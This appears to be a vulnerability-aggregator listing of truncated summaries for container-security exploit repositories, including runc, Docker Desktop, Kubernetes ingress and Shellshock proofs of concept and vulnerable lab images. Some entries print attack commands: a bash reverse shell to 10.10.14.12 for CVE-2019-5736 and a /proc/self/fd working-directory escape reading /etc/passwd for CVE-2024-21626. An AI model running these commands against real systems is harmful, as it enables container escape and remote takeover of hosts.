PT-2026-106237

Name of the Vulnerable Software and Affected Versions apko versions 0.2.0 through 1.4.4 Description The software allows users to build and publish OCI container images from apk packages. A flaw exists in the UserEntry.Parse and GroupEntry.Parse functions within pkg/passwd when reading UID and GID...

dasel-melange-apko

dasel v3.3.1 — Сборка Melange + apko, исправление для CVE-2026-33320 Этот репозиторий упаковывает CLI-утилиту dasel v3.3.1 как APK-пакет с помощью Melange , собирает минимальный образ контейнера с помощью apko и применяет исправление для CVE-2026-33320 , оставаясь на кодовой базе v3.3.1 патч, а н...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Использование : машина уязвима к CVE-2019-5736, следуйте шагам эксплойта Runc CVE-2019-5736. Загрузите файл main.go, измените полезную нагрузку в файле на: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" После этого выполните: go build main.go...

CVE-2018-16167

Порядок установки и запуска 0. Установка LogonTracer Загружаем с dockerhub версию logontracer 1.2.0, в которой была обнаружена уязвимость. $docker pull jpcertcc/docker-logontracer:v1.2.0 1. Запуск LogonTracer Запускаем контейнер следующей командой: $docker run \ --detach \ --publish=7474:7474...

CVE-2024-21626

CVE-2024-21626 Эксплойт Рабочий каталог docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm Важно указать -w /proc/self/fd/8\ Получите доступ к файловой системе хоста с помощью cat ../../../../../../../../../etc/passwd внутри контейнера Эксплойт Символическая ссылка 1...

CVE-2026-5817-PoC

CVE-2026-5817: Docker Model Runner 컨테이너-호스트 RCE / 탈출 Docker Desktop4.40.04.67.x 호스트의 모든 컨테이너는 두 번의 HTTP 요청만으로 호스트에서 코드를 실행할 수 있습니다. 소켓 마운트도, --privileged도, 추가 capability도 필요 없습니다. 동작 방식 모든 컨테이너는 인증 없이 model-runner.docker.internal의 Model Runner에 도달할 수 있습니다. Model Runner는 사용자가 지정한 OCI 레지스트리에서 모델을 가...

shellshock-victim-host

shellshock-victim-host Docker-контейнер, уязвимый для Shellshock - CVE-2014-6271 Запуск podman build -t shellshock-victim . podman run -it -p 80:8080 shellshock-victim Примечание: Также собирается с помощью docker. Уязвимое приложение будет развернуто на: http://localhost:8080/victim.cgi -...

docker_escape_pwn

Побег из Docker с использованием CVE-2017-1000112 и CVE-2017-18344. Включая: получение root привилегий получение всех возможностей восстановление пространств имен восстановление файловой системы обход ограничений cgroup обход seccomp...

CVE-2019-5736

Использование Измените HOST внутри payload.c, скомпилируйте с помощью make. Запустите nc и выполните pwn.sh внутри контейнера. Примечания Этот эксплойт разрушителен: он перезапишет бинарный файл /usr/bin/docker-runc на хосте полезной нагрузкой. Он также перезапишет /bin/sh внутри контейнера...

docf-sec-check

DocF-Sec-Check 설명 DocF-Sec-Check는 Dockerfile 명령어를 더 안전하게 만드는 데 도움을 줍니다. 스크린샷 완료됨 Dockerfile의 1차 보안 알림 할 일 목록 Dockerfile을 올바르게 감지하기. Dockerfile의 2차 보안 알림. Docker 이미지의 보안 알림. 비공개 저장소 설치 소스 코드로 설치 설치 전에 가상 환경virtualenv을 사용하여 패키지 의존성을 관리할 수 있습니다. git clone...

docker-cve-2021-41773

CVE-2021-41773 Демонстрация уязвимости CVE-2021-41773 на Docker-контейнере. Использование Сервер запустите build.sh выполняет docker build ./scripts/build.sh ПРИМЕЧАНИЕ: Нет необходимости делать это более одного раза запустите deploy.sh создаёт Docker-контейнер с образом из build.sh...

POC-IngressNightmare-CVE-2025-1974

Сборщик Shell.so на базе Alpine Этот проект позволяет собрать полезную нагрузку shell.so с использованием Alpine Linux внутри контейнера Docker. Инструкции 1. Клонируйте репозиторий : git clone cd 2. Соберите полезную нагрузку : ./runbuild.sh Скомпилированная shell.so будет создана в корневой...

CVE-2025-9074

Описание Vibe написал небольшой скрипт эксплуатации на чистом Bash без зависимостей от инструментов, которые могут быть не установлены. Скрипт взаимодействует с внутренним Docker API, создаёт и запускает новый контейнер, монтирует диск C хоста, а затем выполняет внутри него команду. Вывод...

DC30_Workshop

DEF CON 30 워크숍 메인프레임 컨테이너 여기 있는 스크립트들은 DEFCON 30 워크숍을 위한 MVS 3.8j 가상 메인프레임을 구축하는 데 사용됩니다. DEFCON 30 메인프레임 버퍼 오버플로우 워크숍을 살펴봐 주셔서 감사합니다. Docker 사용 이 docker 컨테이너에는 MVS 버퍼 오버플로우를 배우는 데 필요한 모든 것이 포함되어 있습니다! 수업을 시작하려면 컨테이너를 실행하고 http://localhost:8080 으로 접속하세요. 컨테이너를 실행하려면 아래 명령어를 사용하세요. $pwd/docker를 시스...

cve-2017-7494

CVE-2017-7494 Это часть Cved: инструмент для управления уязвимыми Docker-контейнерами. Cved: https://github.com/git-rep-src/cved Источник образа: https://github.com/cved-sources/cve-2017-7494 Автор образа: https://github.com/opsxcq/exploit-CVE-2017-7494...

ZigRaceExploit

CVE-2021-25741 — TOCTOU гонка символьных ссылок в Zig Образовательный эксплойт состояния гонки TOCTOU Time Of Check, Time Of Use, которое лежит в основе CVE-2021-25741, уязвимости в kubelet Kubernetes. Проект демонстрирует локально без кластера K8s, как конкурентная подмена симлинка может обойти...

cve-2019-5736-exp

cve-2019-5736-exp Это эксплойт класса proof-of-concept PoC для уязвимости CVE-2019-5736 в runc — среде выполнения, используемой в Docker. Отказ от ответственности Я взялся за этот проект как за упражнение, в образовательных целях и ради удовольствия. Само собой разумеется, что я не поддерживаю...

CVE-2023-2982

이 저장소는 이 파이썬 스크립트를 도커 컨테이너에서 실행할 수 있는 방법을 제공합니다...

CVE-2012-1495-Webcalendar-

CVE-2012-1495-Webcalendar- 전제 조건: Kali Linux 또는 Parrot OS 머신 1- 저장소를 클론합니다 2- 'webcalendar' 아카이브를 추출합니다 3- Docker 컨테이너를 생성하고 다음 명령어로 실행합니다: docker build -t webcalendar . docker run -d -p 80:80 webcalendar 4- Kali 머신에서 metasploit을 실행하고 exploit을 찾은 후 실행합니다. 보고서 참조...

cve-2018-15877

CVE-2018-15877 Это часть Cved: инструмент для управления уязвимыми Docker-контейнерами. Cved: https://github.com/git-rep-src/cved Image source: https://github.com/cved-sources/cve-2018-15877 Image author: https://github.com/cved-sources/cve-2018-15877...